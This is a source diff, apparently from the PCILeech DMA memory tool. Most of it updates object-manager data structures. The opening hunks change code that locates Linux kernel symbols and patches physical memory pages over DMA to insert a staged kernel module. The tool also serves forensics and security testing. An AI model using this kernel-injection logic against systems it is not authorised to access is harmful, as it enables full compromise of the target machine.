ctxMain->cfg.pbIn[ctxMain->cfg.cbIn - 1] = 0; + va_startup_64 = KMD_LinuxFindFunctionAddrTBL_FromSystemMap_GetAddressFromName("startup_64") & 0xFFFFFFFFFFE00000; + if(!va_startup_64) { return; } + for(i = 0; i < cS; i++) { + if(pS[i].cbSeek > 1) { + va = KMD_LinuxFindFunctionAddrTBL_FromSystemMap_GetAddressFromName(pS[i].pbSeek + 1); + if((va <= va_startup_64) || (va & 0xf)) { continue; } + o = va - va_startup_64; + if(!o || (o > cb)) { continue; } + if((pb[o - 1] != 0xcc) && (pb[o - 1] != 0x90)) { continue; } + pS[i].aFn = (DWORD)o; + pS[i].vaFn = vaBase + o; + if(!pS[i].aSeek) { pS[i].aSeek = (DWORD)o; } + pS[i].vaSeek = vaBase + pS[i].aSeek; + } + } +} + /* * Locate function addresses in symtab with relative addressing. */ @@ -364,7 +395,11 @@ VOID KMD_LinuxFindFunctionAddrTBL_Relative(_In_ PBYTE pb, _In_ DWORD cb, _Inout_ if(vaBase == (QWORD)-1) { return; } - // 2: Locate relative addresses of functions from symtab and fix virtual addresses + // 2: Locate from user-supplied System.map file (if any): + if(0 == _stricmp(ctxMain->cfg.szKMDName, "LINUX_X64_MAP")) { + KMD_LinuxFindFunctionAddrTBL_FromSystemMap(pb, cb, pS, cS, vaBase); + } + // 3: Locate relative addresses of functions from symtab and fix virtual addresses for(i = 0; i < cS; i++) { if(!pS[i].aSeek || pS[i].vaSeek) { continue; } if(!KMD_LinuxFindFunctionAddrTBL_RelativeSymTabSearch(pb, cb, ((pS[i].aSeek & ~0xf) - 0x00100000), pS + i)) { continue; } @@ -1426,7 +1461,7 @@ BOOL KMDOpen_MemoryScan() goto fail; } pSignature = &pSignatures[0]; - } else if(0 == _stricmp(ctxMain->cfg.szKMDName, "LINUX_X64_48")) { + } else if((0 == _stricmp(ctxMain->cfg.szKMDName, "LINUX_X64_48")) || (0 == _stricmp(ctxMain->cfg.szKMDName, "LINUX_X64_MAP"))) { if(!KMD_Linux48KernelSeekSignature(&pSignatures[0])) { printf("KMD: Failed. Error locating generic linux kernel signature.\n"); goto fail; @@ -1469,6 +1504,10 @@ BOOL KMDOpen_MemoryScan() ph2->qwPageAddr = pSignature->chunk[1].qwAddress; ph1->dwPageOffset = 0xfff & pSignature->chunk[2].cbOffset; ph2->dwPageOffset = 0xfff & pSignature->chunk[3].cbOffset; + if(ph2->dwPageOffset + pSignature->chunk[2].cb > 0x1000) { + printf("KMD: Failed. Stage #2 too large.\n"); + goto fail; + } DeviceReadDMA_Retry(ctxMain->hLC, ph1->qwPageAddr, 4096, ph1->pbOrig); DeviceReadDMA_Retry(ctxMain->hLC, ph2->qwPageAddr, 4096, ph2->pbOrig); memcpy(ph1->pbPatch, ph1->pbOrig, 4096); diff --git a/pcileech/ob/ob.h b/pcileech/ob/ob.h index 704f344..2005987 100644 --- a/pcileech/ob/ob.h +++ b/pcileech/ob/ob.h @@ -1,6 +1,6 @@ // ob.h : definitions related to the object manager and object manager collections. // -// (c) Ulf Frisk, 2018-2021 +// (c) Ulf Frisk, 2018-2023 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __OB_H__ @@ -13,8 +13,13 @@ typedef unsigned __int64 QWORD, *PQWORD; #include "../oscompatibility.h" #endif /* _WIN32 */ +// OB_DEBUG is not working (as currently coded) with arm32 due to alignment issues. +#if _WIN32 || _WIN64 || __i386__ || __amd64__ || __aarch64__ #define OB_DEBUG +//#define OB_DEBUG_MEMZERO +#endif /* _WIN32 || _WIN64 || __i386__ || __amd64__ || __aarch64__ */ #define OB_HEADER_MAGIC 0x0c0efefe +typedef struct tdVMM_HANDLE *VMM_HANDLE; #define OB_TAG_CORE_CONTAINER 'ObCo' #define OB_TAG_CORE_COMPRESSED 'ObCp' @@ -25,6 +30,7 @@ typedef unsigned __int64 QWORD, *PQWORD; #define OB_TAG_CORE_MEMFILE 'ObMF' #define OB_TAG_CORE_CACHEMAP 'ObMc' #define OB_TAG_CORE_STRMAP 'ObMs' +#define OB_TAG_CORE_BYTEQUEUE 'ObBq' // ---------------------------------------------------------------------------- // OBJECT MANAGER CORE FUNCTIONALITY BELOW: @@ -46,9 +52,9 @@ typedef unsigned __int64 QWORD, *PQWORD; typedef struct tdOB { // internal object manager functionality below: (= do not use unless absolutely necessary) - DWORD _magic; // magic value - OB_HEADER_MAGIC + DWORD _magic1; // magic value - OB_HEADER_MAGIC union { - DWORD _tag; // tag - 2 chars, no null terminator + DWORD _tag; // tag - 4 chars, no null terminator CHAR _tagCh[4]; }; union { @@ -59,15 +65,19 @@ typedef struct tdOB { VOID(*_pfnRef_1)(_In_ PVOID pOb); // callback - when object reach refcount 1 (not initial) QWORD _Filler2; }; + DWORD _Filler3[5]; DWORD _count; // reference count // external object manager functionality below: (= ok to use) - DWORD cbData; + union { VMM_HANDLE H; QWORD _Filler4; };// vmm user handle (supplied at alloc) + DWORD cbData; // data byte count (excl. OB header) + DWORD _magic2; // magic value - OB_HEADER_MAGIC } OB, *POB; typedef VOID(*OB_CLEANUP_CB)(_In_ PVOID pOb); /* * Allocate a new object manager memory object. +* -- H = an optional handle to embed as OB.H in the header. * -- tag = tag identifying the type of object. * -- uFlags = flags as given by LocalAlloc. * -- uBytes = bytes of object (_including_ object headers). @@ -77,7 +87,23 @@ typedef VOID(*OB_CLEANUP_CB)(_In_ PVOID pOb); * -- pfnRef_1 = optional callback for when object reach refcount = 1 at DECREF. * -- return = allocated object on success, with refcount = 1, - NULL on fail. */ -PVOID Ob_Alloc(_In_ DWORD tag, _In_ UINT uFlags, _In_ SIZE_T uBytes, _In_opt_ OB_CLEANUP_CB pfnRef_0, _In_opt_ OB_CLEANUP_CB pfnRef_1); +PVOID Ob_AllocEx(_In_opt_ VMM_HANDLE H, _In_ DWORD tag, _In_ UINT uFlags, _In_ SIZE_T uBytes, _In_opt_ OB_CLEANUP_CB pfnRef_0, _In_opt_ OB_CLEANUP_CB pfnRef_1); + +/* +* Allocate a new object manager memory object. +* -- tag = tag identifying the type of object. +* -- uFlags = flags as given by LocalAlloc. +* -- uBytes = bytes of object (_including_ object headers). +* -- pfnRef_0 = optional callback for cleanup o be called before object is destroyed. +* (if object contains objects which references should be decremented + before destruction of this 'parent' object). +* -- pfnRef_1 = optional callback for when object reach refcount = 1 at DECREF. +* -- return = allocated object on success, with refcount = 1, - NULL on fail. +*/ +inline PVOID Ob_Alloc(_In_ DWORD tag, _In_ UINT uFlags, _In_ SIZE_T uBytes, _In_opt_ OB_CLEANUP_CB pfnRef_0, _In_opt_ OB_CLEANUP_CB pfnRef_1) +{ + return Ob_AllocEx(NULL, tag, uFlags, uBytes, pfnRef_0, pfnRef_1); +} /* * Increase the reference count of a object by one. @@ -98,8 +124,8 @@ PVOID Ob_XDECREF(_In_opt_ PVOID pOb); #define Ob_DECREF(pOb) (Ob_XDECREF((PVOID)pOb)) /* -* Decrease the reference count of a object manager object. If the reference -* count reaches zero the object will be cleaned up. +* Decrease the reference count of a object manager object. +* If the reference count reaches zero the object will be cleaned up. * Also set the incoming pointer to NULL. * -- ppOb */ @@ -136,12 +162,13 @@ typedef struct tdOB_DATA { * to the number of bytes in the data buffer supplied to this function. * May also be created with Ob_Alloc with size: sizeof(OB_HDR) + length of data. * CALLER DECREF: return +* -- H * -- pb * -- cb * -- return */ _Success_(return != NULL) -POB_DATA ObData_New(_In_ PBYTE pb, _In_ DWORD cb); +POB_DATA ObData_New(_In_opt_ VMM_HANDLE H, _In_ PBYTE pb, _In_ DWORD cb); @@ -158,7 +185,7 @@ POB_DATA ObData_New(_In_ PBYTE pb, _In_ DWORD cb); typedef struct tdOB_CONTAINER { OB ObHdr; - CRITICAL_SECTION Lock; + SRWLOCK LockSRW; POB pOb; } OB_CONTAINER, *POB_CONTAINER; @@ -216,9 +243,10 @@ typedef struct tdOB_SET *POB_SET; * ways to store unique 64-bit (or smaller) numbers as a set. * The ObSet is an object manager object and must be DECREF'ed when required. * CALLER DECREF: return +* -- H * -- return */ -POB_SET ObSet_New(); +POB_SET ObSet_New(_In_opt_ VMM_HANDLE H); /* * Retrieve the number of items in the given ObSet. @@ -311,6 +339,20 @@ QWORD ObSet_Pop(_In_opt_ POB_SET pvs); */ QWORD ObSet_GetNext(_In_opt_ POB_SET pvs, _In_ QWORD value); +/* +* Retrieve the given an index. To start iterating, use index 0. When no more +* items are available, the function will return 0. +* Add/Remove rules: +* - Added values are ok - but will not be iterated over. +* - Removal of current value and already iterated values are ok. +* - Removal of values not yet iterated is FORBIDDEN. It causes the iterator +* fail by returning the same value multiple times or skipping values. +* -- pvs +* -- pdwIndex +* -- return +*/ +QWORD ObSet_GetNextByIndex(_In_opt_ POB_SET pvs, _Inout_ PDWORD pdwIndex); + /* * Retrieve a value given a value index (which is less than the amount of items * in the Set). @@ -357,15 +399,21 @@ typedef struct tdOB_MAP *POB_MAP; #define OB_MAP_FLAGS_OBJECT_LOCALFREE 0x02 #define OB_MAP_FLAGS_NOKEY 0x04 +typedef struct tdOB_MAP_ENTRY { + QWORD k; + union { PVOID v; QWORD _Filler; }; +} OB_MAP_ENTRY, *POB_MAP_ENTRY, **PPOB_MAP_ENTRY; + /* * Create a new map. A map (ObMap) provides atomic map operations and ways * to optionally map key values to values, pointers or object manager objects. * The ObMap is an object manager object and must be DECREF'ed when required. * CALLER DECREF: return +* -- H * -- flags = defined by OB_MAP_FLAGS_* * -- return */ -POB_MAP ObMap_New(_In_ QWORD flags); +POB_MAP ObMap_New(_In_opt_ VMM_HANDLE H, _In_ QWORD flags); /* * Retrieve the number of objects in the ObMap. @@ -432,7 +480,7 @@ PVOID ObMap_Pop(_In_opt_ POB_MAP pm); * -- return = success: object, fail: NULL. */ _Success_(return != NULL) -PVOID ObMap_PopWithKey(_In_opt_ POB_MAP pm, _Out_ PQWORD pKey); +PVOID ObMap_PopWithKey(_In_opt_ POB_MAP pm, _Out_opt_ PQWORD pKey); /* * Remove an object from the ObMap. @@ -508,6 +556,39 @@ PVOID ObMap_GetNext(_In_opt_ POB_MAP pm, _In_opt_ PVOID pvObject); */ PVOID ObMap_GetNextByKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject); +/* +* Retrieve the next object given a key in a map sorted by key. If the key isn't +* found the next object with a larger key will be returned. To start iterating +* supply zero (0) in the qwKey parameter. When no more objects are found NULL +* will be returned. +* NB! Correctness is only guarateed if the map is sorted by key ascending. +* FUNCTION DECREF(if OB): pvObject +* CALLER DECREF(if OB): return +* -- pm +* -- qwKey +* -- pvObject +* -- return +*/ +PVOID ObMap_GetNextByKeySorted(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject); + +/* +* Iterate over objects in reversed index order. To start iterating supply NULL +* in the pvObject parameter (this overrides pdwIndex). When no more objects +* are found NULL will be returned. +* Add/Remove rules: +* - Added objects are ok - but will not be iterated over. +* - Removal of current object and already iterated objects are ok. +* - Removal of objects not yet iterated is FORBIDDEN. It causes the iterator +* fail by returning the same object multiple times or skipping objects. +* FUNCTION DECREF(if OB): pvObject +* CALLER DECREF(if OB): return +* -- pm +* -- pdwIndex +* -- pvObject +* -- return +*/ +PVOID ObMap_GetNextByIndex(_In_opt_ POB_MAP pm, _Inout_ PDWORD pdwIndex, _In_opt_ PVOID pvObject); + /* * Retrieve a value given a key. * CALLER DECREF(if OB): return @@ -539,38 +620,81 @@ PVOID ObMap_GetByIndex(_In_opt_ POB_MAP pm, _In_ DWORD index); _Success_(return != 0) QWORD ObMap_GetKey(_In_opt_ POB_MAP pm, _In_ PVOID pvObject); +/* +* Callback function for ObMap_Filter which converts a ObMap to an arbitrary context. +*/ +typedef VOID(*OB_MAP_FILTER_PFN_CB)(_In_opt_ PVOID ctx, _In_ QWORD k, _In_ PVOID v); + +/* +* Callback function for ObMap_FilterSet which converts an ObMap to an ObSet. +*/ +typedef VOID(*OB_MAP_FILTERSET_PFN_CB)(_In_opt_ PVOID ctx, _In_ POB_SET ps, _In_ QWORD k, _In_ PVOID v); + +/* +* Callback function for ObMap_RemoveByFilter which removes objects from an ObMap. +*/ +typedef BOOL(*OB_MAP_FILTER_REMOVE_PFN_CB)(_In_opt_ PVOID ctx, _In_ QWORD k, _In_ PVOID v); + /* * Common filter function related to ObMap_FilterSet. */ -VOID ObMap_FilterSet_FilterAllKey(_In_ QWORD k, _In_ PVOID v, _Inout_ POB_SET ps); +VOID ObMap_FilterSet_FilterAllKey(_In_opt_ PVOID ctx, _In_ POB_SET ps, _In_ QWORD k, _In_ PVOID v); /* * Filter map objects into a generic context by using a user-supplied filter function. * -- pm * -- ctx = optional context to pass on to the filter function. -* -- pfnFilter +* -- pfnFilterCB = filter callback function. NULL = fail. * -- return */ _Success_(return) -BOOL ObMap_Filter(_In_opt_ POB_MAP pm, _Inout_opt_ PVOID ctx, _In_opt_ VOID(*pfnFilter)(_In_ QWORD k, _In_ PVOID v, _Inout_opt_ PVOID ctx)); +BOOL ObMap_Filter(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTER_PFN_CB pfnFilterCB); /* * Filter map objects into a POB_SET by using a user-supplied filter function. * CALLER DECREF: return * -- pm -* -- pfnFilter +* -- ctx = optional context to pass on to the filter function. +* -- pfnFilterSetCB = filter callback function. NULL = fail. * -- return = POB_SET consisting of values gathered by the pfnFilter function. */ _Success_(return != NULL) -POB_SET ObMap_FilterSet(_In_opt_ POB_MAP pm, _In_opt_ VOID(*pfnFilter)(_In_ QWORD k, _In_ PVOID v, _Inout_ POB_SET ps)); +POB_SET ObMap_FilterSet(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTERSET_PFN_CB pfnFilterSetCB); /* * Remove map objects using a user-supplied filter function. * -- pm -* -- pfnFilter = decision making function: [pfnFilter(k,v)->TRUE(remove)|FALSE(keep)] +* -- ctx = optional context to pass on to the filter function. +* -- pfnFilterRemoveCB = decision making function: [pfnFilter(ctx,k,v)->TRUE(remove)|FALSE(keep)] * -- return = number of entries removed. */ -DWORD ObMap_RemoveByFilter(_In_opt_ POB_MAP pm, _In_opt_ BOOL(*pfnFilter)(_In_ QWORD k, _In_ PVOID v)); +DWORD ObMap_RemoveByFilter(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTER_REMOVE_PFN_CB pfnFilterRemoveCB); + +/* +* Sort compare callback function. +*/ +typedef int(*OB_MAP_SORT_COMPARE_FUNCTION)(_In_ POB_MAP_ENTRY e1, _In_ POB_MAP_ENTRY e2); + +/* +* Sort the ObMap entry index by a sort compare function. +* NB! The items sorted by the sort function are const OB_MAP_ENTRY* objects +* which points to the underlying map object key/value. +* -- pm +* -- pfnSort = sort function callback. const void* == const OB_MAP_ENTRY* +* -- return +*/ +_Success_(return) +BOOL ObMap_SortEntryIndex(_In_opt_ POB_MAP pm, _In_ OB_MAP_SORT_COMPARE_FUNCTION pfnSort); + +/* +* Sort the ObMap entry index by key ascending. +* NB! The items sorted by the sort function are const OB_MAP_ENTRY* objects +* which points to the underlying map object key/value. +* -- pm +* -- return +*/ +_Success_(return) +BOOL ObMap_SortEntryIndexByKey(_In_opt_ POB_MAP pm); @@ -594,11 +718,26 @@ typedef struct tdOB_CACHEMAP *POB_CACHEMAP; #define OB_CACHEMAP_FLAGS_OBJECT_OB 0x01 #define OB_CACHEMAP_FLAGS_OBJECT_LOCALFREE 0x02 +/* +* Callback function for the pfnValidEntry in ObCacheMap_New() +* -- H +* -- qwContext +* -- qwKey +* -- pbObject +*/ +typedef BOOL(*OB_CACHEMAP_VALIDENTRY_PFN_CB)( + _In_opt_ VMM_HANDLE H, + _Inout_ PQWORD qwContext, + _In_ QWORD qwKey, + _In_ PVOID pvObject +); + /* * Create a new cached map. A cached map (ObCacheMap) provides atomic map * operations on cached objects. * The ObCacheMap is an object manager object and must be DECREF'ed when required. * CALLER DECREF: return +* -- H * -- cMaxEntries = max entries in the cache, if more entries are added the * least recently accessed item will be removed from the cache map. * -- pfnValidEntry = validation callback function (if any). @@ -606,8 +745,9 @@ typedef struct tdOB_CACHEMAP *POB_CACHEMAP; * -- return */ POB_CACHEMAP ObCacheMap_New( + _In_opt_ VMM_HANDLE H, _In_ DWORD cMaxEntries, - _In_opt_ BOOL(*pfnValidEntry)(_Inout_ PQWORD qwContext, _In_ QWORD qwKey, _In_ PVOID pvObject), + _In_opt_ OB_CACHEMAP_VALIDENTRY_PFN_CB pfnValidEntry, _In_ QWORD flags ); @@ -916,11 +1056,12 @@ BOOL ObStrMap_FinalizeBufferXUW(_In_opt_ POB_STRMAP psm, _In_ DWORD cbMultiStr, * decommissioned by calling any of the ObStrMap_Finalize*() functions. * The ObStrMap is an object manager object and must be DECREF'ed when required. * CALLER DECREF: return +* -- H * -- flags * -- return */ _Success_(return != NULL) -POB_STRMAP ObStrMap_New(_In_ QWORD flags); +POB_STRMAP ObStrMap_New(_In_opt_ VMM_HANDLE H, _In_ QWORD flags); @@ -932,24 +1073,33 @@ POB_STRMAP ObStrMap_New(_In_ QWORD flags); typedef struct tdOB_COMPRESSED *POB_COMPRESSED; +#define OB_COMPRESSED_CACHED_ENTRIES_MAX 0x40 +#define OB_COMPRESSED_CACHED_ENTRIES_MAXSIZE 0x00100000 + /* * Create a new compressed buffer object from a byte buffer. +* It's strongly recommended to supply a global cache map to use. * CALLER DECREF: return +* -- H +* -- pcmg = optional global (per VMM_HANDLE) cache map to use. * -- pb * -- cb * -- return */ _Success_(return != NULL) -POB_COMPRESSED ObCompressed_NewFromByte(_In_reads_(cb) PBYTE pb, _In_ DWORD cb); +POB_COMPRESSED ObCompressed_NewFromByte(_In_opt_ VMM_HANDLE H, _In_opt_ POB_CACHEMAP pcmg, _In_reads_(cb) PBYTE pb, _In_ DWORD cb); /* * Create a new compressed buffer object from a zero terminated string. +* It's strongly recommended to supply a global cache map to use. * CALLER DECREF: return +* -- H +* -- pcmg = optional global (per VMM_HANDLE) cache map to use. * -- sz * -- return */ _Success_(return != NULL) -POB_COMPRESSED ObCompress_NewFromStrA(_In_ LPSTR sz); +POB_COMPRESSED ObCompress_NewFromStrA(_In_opt_ VMM_HANDLE H, _In_opt_ POB_CACHEMAP pcmg, _In_ LPSTR sz); /* * Retrieve the uncompressed size of the compressed data object. @@ -984,11 +1134,14 @@ typedef struct tdOB_MEMFILE *POB_MEMFILE; /* * Create a new empty memory file. +* It's strongly recommended to supply a global cache map to use. * CALLER DECREF: return +* -- H +* -- pcmg = optional global (per VMM_HANDLE) cache map to use. * -- return */ _Success_(return != NULL) -POB_MEMFILE ObMemFile_New(); +POB_MEMFILE ObMemFile_New(_In_opt_ VMM_HANDLE H, _In_opt_ POB_CACHEMAP pcmg); /* * Retrieve byte count of the ObMemFile. @@ -1016,6 +1169,26 @@ BOOL ObMemFile_Append(_In_opt_ POB_MEMFILE pmf, _In_reads_(cb) PBYTE pb, _In_ QW _Success_(return) BOOL ObMemFile_AppendString(_In_opt_ POB_MEMFILE pmf, _In_opt_z_ LPSTR sz); +/* +* Append a string (ansi or utf-8) to the ObMemFile. +* -- H +* -- uszFormat +* -- ... +* -- return = the number of bytes appended (excluding terminating null). +*/ +_Success_(return != 0) +SIZE_T ObMemFile_AppendStringEx(_In_opt_ POB_MEMFILE pmf, _In_z_ _Printf_format_string_ LPSTR uszFormat, ...); + +/* +* Append a string (ansi or utf-8) to the ObMemFile. +* -- H +* -- uszFormat +* -- arglist +* -- return = the number of bytes appended (excluding terminating null). +*/ +_Success_(return != 0) +SIZE_T ObMemFile_AppendStringEx2(_In_opt_ POB_MEMFILE pmf, _In_z_ _Printf_format_string_ LPSTR uszFormat, _In_ va_list arglist); + /* * Read data 'as file' from the ObMemFile. * -- pmf @@ -1055,10 +1228,20 @@ typedef struct tdOB_COUNTER_ENTRY { * Create a new counter. A counter (ObCounter) provides atomic counting operations. * The ObCounter is an object manager object and must be DECREF'ed when required. * CALLER DECREF: return +* -- H * -- flags = defined by OB_COUNTER_FLAGS_* * -- return */ -POB_COUNTER ObCounter_New(_In_ QWORD flags); +POB_COUNTER ObCounter_New(_In_opt_ VMM_HANDLE H, _In_ QWORD flags); + +/* +* Clear the ObCounter by removing all counts and keys. +* NB! underlying allocated memory will remain unchanged. +* -- pm +* -- return = clear was successful - always true. +*/ +_Success_(return) +BOOL ObCounter_Clear(_In_opt_ POB_COUNTER pc); /* * Retrieve the number of counted keys the ObCounter. @@ -1172,5 +1355,96 @@ BOOL ObCounter_GetAllSortedByKey(_In_opt_ POB_COUNTER pc, _In_ DWORD cEntries, _ _Success_(return) BOOL ObCounter_GetAllSortedByCount(_In_opt_ POB_COUNTER pc, _In_ DWORD cEntries, _Out_writes_opt_(cEntries) POB_COUNTER_ENTRY pEntries); +/* +* Remove the "last" count. +* -- pc +* -- return = success: count, fail: 0. +*/ +_Success_(return != 0) +QWORD ObCounter_Pop(_In_opt_ POB_COUNTER pc); + +/* +* Remove the "last" count and return it and its key. +* -- pc +* -- pKey +* -- return = success: count, fail: 0. +*/ +_Success_(return != 0) +QWORD ObCounter_PopWithKey(_In_opt_ POB_COUNTER pc, _Out_opt_ PQWORD pKey); + + + +// ---------------------------------------------------------------------------- +// BYTE QUEUE FUNCTIONALITY BELOW +// +// The byte queue contains a fixed number of bytes as buffer. The queue size +// is defined at queue creation and cannot be changed. +// Bytes in the form of packets [pb, cb, tag] is pushed on the queue as long +// as there is available space. +// Bytes may be popped from the queue. This will also free up space for more +// bytes to be pushed on the queue. +// The bytes queue is FIFO and will always pop the oldest bytes first. +// The ObByteQueue is an object manager object and must be DECREF'ed when required. +// ---------------------------------------------------------------------------- + +typedef struct tdOB_BYTEQUEUE *POB_BYTEQUEUE; + +/* +* Retrieve the number of packets (not bytes) in the byte queue. +* -- pq +* -- return +*/ +DWORD ObByteQueue_Size(_In_opt_ POB_BYTEQUEUE pq); + +/* +* Peek data from the byte queue. The data is copied into the user-supplied buffer. +* If the buffer is insufficient the function will return FALSE and the required +* size will be returned in pcbRead. +* -- pq +* -- pqwTag +* -- cb +* -- pb +* -- pcbRead +* -- return = TRUE if there was data to peek, FALSE otherwise. +*/ +_Success_(return) +BOOL ObByteQueue_Peek(_In_opt_ POB_BYTEQUEUE pq, _Out_opt_ QWORD * pqwTag, _In_ SIZE_T cb, _Out_ PBYTE pb, _Out_ SIZE_T * pcbRead); + +/* +* Pop data from the byte queue. The data is copied into the user-supplied buffer. +* If the buffer is insufficient the function will return FALSE and the required +* size will be returned in pcbRead. +* -- pq +* -- pqwTag +* -- cb +* -- pb +* -- pcbRead +* -- return = TRUE if there was data to pop, FALSE otherwise. +*/ +_Success_(return) +BOOL ObByteQueue_Pop(_In_opt_ POB_BYTEQUEUE pq, _Out_opt_ QWORD * pqwTag, _In_ SIZE_T cb, _Out_ PBYTE pb, _Out_ SIZE_T * pcbRead); + +/* +* Push / Insert into the ObByteQueue. The data is copied into the queue. +* -- pq +* -- qwTag +* -- cb +* -- pb +* -- return = TRUE on insertion, FALSE otherwise - i.e. if the byte queue +* is insufficient to hold the byte data. +*/ +_Success_(return) +BOOL ObByteQueue_Push(_In_opt_ POB_BYTEQUEUE pq, _In_opt_ QWORD qwTag, _In_ SIZE_T cb, _In_reads_bytes_(cb) PBYTE pb); + +/* +* Create a new byte queue. A byte queue (ObByteQueue) provides atomic queuing +* operations for pushing/popping bytes as packets on a FIFO queue. +* The ObByteQueue is an object manager object and must be DECREF'ed when required. +* CALLER DECREF: return +* -- H +* -- cbQueueSize = the queue size in bytes. Must be larger than 4096 bytes. +* -- return +*/ +POB_BYTEQUEUE ObByteQueue_New(_In_opt_ VMM_HANDLE H, _In_ DWORD cbQueueSize); #endif /* __OB_H__ */ diff --git a/pcileech/ob/ob_cachemap.c b/pcileech/ob/ob_cachemap.c index d62bdf5..42b8036 100644 --- a/pcileech/ob/ob_cachemap.c +++ b/pcileech/ob/ob_cachemap.c @@ -10,12 +10,12 @@ // The map (ObCacheMap) is thread safe. // The ObCacheMap is an object manager object and must be DECREF'ed when required. // -// (c) Ulf Frisk, 2020-2022 +// (c) Ulf Frisk, 2020-2023 // Author: Ulf Frisk, pcileech@frizk.net // #include "ob.h" -#define OB_CACHEMAP_IS_VALID(p) (p && (p->ObHdr._magic == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_CACHEMAP)) +#define OB_CACHEMAP_IS_VALID(p) (p && (p->ObHdr._magic2 == OB_HEADER_MAGIC) && (p->ObHdr._magic1 == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_CACHEMAP)) #define OB_CACHEMAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pcm, RetTp, RetValFail, fn) { \ if(!OB_CACHEMAP_IS_VALID(pcm)) { return RetValFail; } \ @@ -42,10 +42,9 @@ typedef struct tdOB_CACHEMAP { BOOL fObjectsLocalFree; POB_MAP pm; POB_CACHEMAPENTRY AgeListHead; - BOOL(*pfnValidEntry)(_Inout_ PQWORD qwData, _In_ QWORD qwKey, _In_ PVOID pvObject); + OB_CACHEMAP_VALIDENTRY_PFN_CB pfnValidEntry; } OB_CACHEMAP, *POB_CACHEMAP; - _Success_(return) BOOL _ObCacheMap_Clear(_In_ POB_CACHEMAP pcm) { @@ -108,7 +107,7 @@ PVOID _ObCacheMap_GetByKey(_In_ POB_CACHEMAP pcm, _In_ QWORD qwKey) { POB_CACHEMAPENTRY pe; if(!(pe = ObMap_GetByKey(pcm->pm, qwKey))) { return NULL; } - if(pcm->pfnValidEntry && !pcm->pfnValidEntry(&pe->qwContext, qwKey, pe->pvObject)) { + if(pcm->pfnValidEntry && !pcm->pfnValidEntry(pcm->ObHdr.H, &pe->qwContext, qwKey, pe->pvObject)) { // invalid - remove object from map and return NULL _ObCacheMap_RemoveByKey(pcm, qwKey, TRUE); return NULL; @@ -228,25 +227,26 @@ VOID _ObCacheMap_ObCloseCallback(_In_ POB_CACHEMAP pObCacheMap) * operations on cached objects. * The ObCacheMap is an object manager object and must be DECREF'ed when required. * CALLER DECREF: return +* -- H * -- cMaxEntries = max entries in the cache, if more entries are added the * least recently accessed item will be removed from the cache map. * -- pfnValidEntry = optional validation callback function. * -- flags = defined by OB_CACHEMAP_FLAGS_* * -- return */ -POB_CACHEMAP ObCacheMap_New(_In_ DWORD cMaxEntries, _In_opt_ BOOL(*pfnValidEntry)(_Inout_ PQWORD qwContext, _In_ QWORD qwKey, _In_ PVOID pvObject), _In_ QWORD flags) +POB_CACHEMAP ObCacheMap_New(_In_opt_ VMM_HANDLE H, _In_ DWORD cMaxEntries, _In_opt_ OB_CACHEMAP_VALIDENTRY_PFN_CB pfnValidEntry, _In_ QWORD flags) { POB_CACHEMAP pObCacheMap; if(!cMaxEntries) { return NULL; } if((flags & OB_MAP_FLAGS_OBJECT_OB) && (flags & OB_MAP_FLAGS_OBJECT_LOCALFREE)) { return NULL; } - pObCacheMap = Ob_Alloc(OB_TAG_CORE_CACHEMAP, LMEM_ZEROINIT, sizeof(OB_CACHEMAP), (OB_CLEANUP_CB)_ObCacheMap_ObCloseCallback, NULL); + pObCacheMap = Ob_AllocEx(H, OB_TAG_CORE_CACHEMAP, LMEM_ZEROINIT, sizeof(OB_CACHEMAP), (OB_CLEANUP_CB)_ObCacheMap_ObCloseCallback, NULL); if(!pObCacheMap) { return NULL; } InitializeSRWLock(&pObCacheMap->LockSRW); pObCacheMap->cMax = cMaxEntries; pObCacheMap->pfnValidEntry = pfnValidEntry; pObCacheMap->fObjectsOb = (flags & OB_CACHEMAP_FLAGS_OBJECT_OB) ? TRUE : FALSE; pObCacheMap->fObjectsLocalFree = (flags & OB_CACHEMAP_FLAGS_OBJECT_LOCALFREE) ? TRUE : FALSE; - pObCacheMap->pm = ObMap_New(OB_MAP_FLAGS_OBJECT_VOID); + pObCacheMap->pm = ObMap_New(H, OB_MAP_FLAGS_OBJECT_VOID); if(!pObCacheMap->pm) { Ob_DECREF(pObCacheMap); return NULL; diff --git a/pcileech/ob/ob_core.c b/pcileech/ob/ob_core.c index 2fbdac1..90a133a 100644 --- a/pcileech/ob/ob_core.c +++ b/pcileech/ob/ob_core.c @@ -14,7 +14,7 @@ // - such as decreasing reference count of sub-objects contained in the object // that is to be deallocated. // -// (c) Ulf Frisk, 2018-2022 +// (c) Ulf Frisk, 2018-2023 // Author: Ulf Frisk, pcileech@frizk.net // #include "ob.h" @@ -26,6 +26,7 @@ /* * Allocate a new object manager memory object. +* -- H = an optional handle to embed as OB.H in the header. * -- tag = tag of the object to be allocated. * -- uFlags = flags as given by LocalAlloc. * -- uBytes = bytes of object (_including_ object headers). @@ -34,17 +35,19 @@ * -- pfnRef_1 = optional callback for when object reach refcount = 1 (excl. initial). * -- return = allocated object on success, with refcount = 1, - NULL on fail. */ -PVOID Ob_Alloc(_In_ DWORD tag, _In_ UINT uFlags, _In_ SIZE_T uBytes, _In_opt_ VOID(*pfnRef_0)(_In_ PVOID pOb), _In_opt_ VOID(*pfnRef_1)(_In_ PVOID pOb)) +PVOID Ob_AllocEx(_In_opt_ VMM_HANDLE H, _In_ DWORD tag, _In_ UINT uFlags, _In_ SIZE_T uBytes, _In_opt_ OB_CLEANUP_CB pfnRef_0, _In_opt_ OB_CLEANUP_CB pfnRef_1) { POB pOb; if((uBytes > 0x40000000) || (uBytes < sizeof(OB))) { return NULL; } pOb = (POB)LocalAlloc(uFlags, uBytes + OB_DEBUG_FOOTER_SIZE); if(!pOb) { return NULL; } - pOb->_magic = OB_HEADER_MAGIC; + pOb->_magic1 = OB_HEADER_MAGIC; + pOb->_magic2 = OB_HEADER_MAGIC; pOb->_count = 1; pOb->_tag = tag; 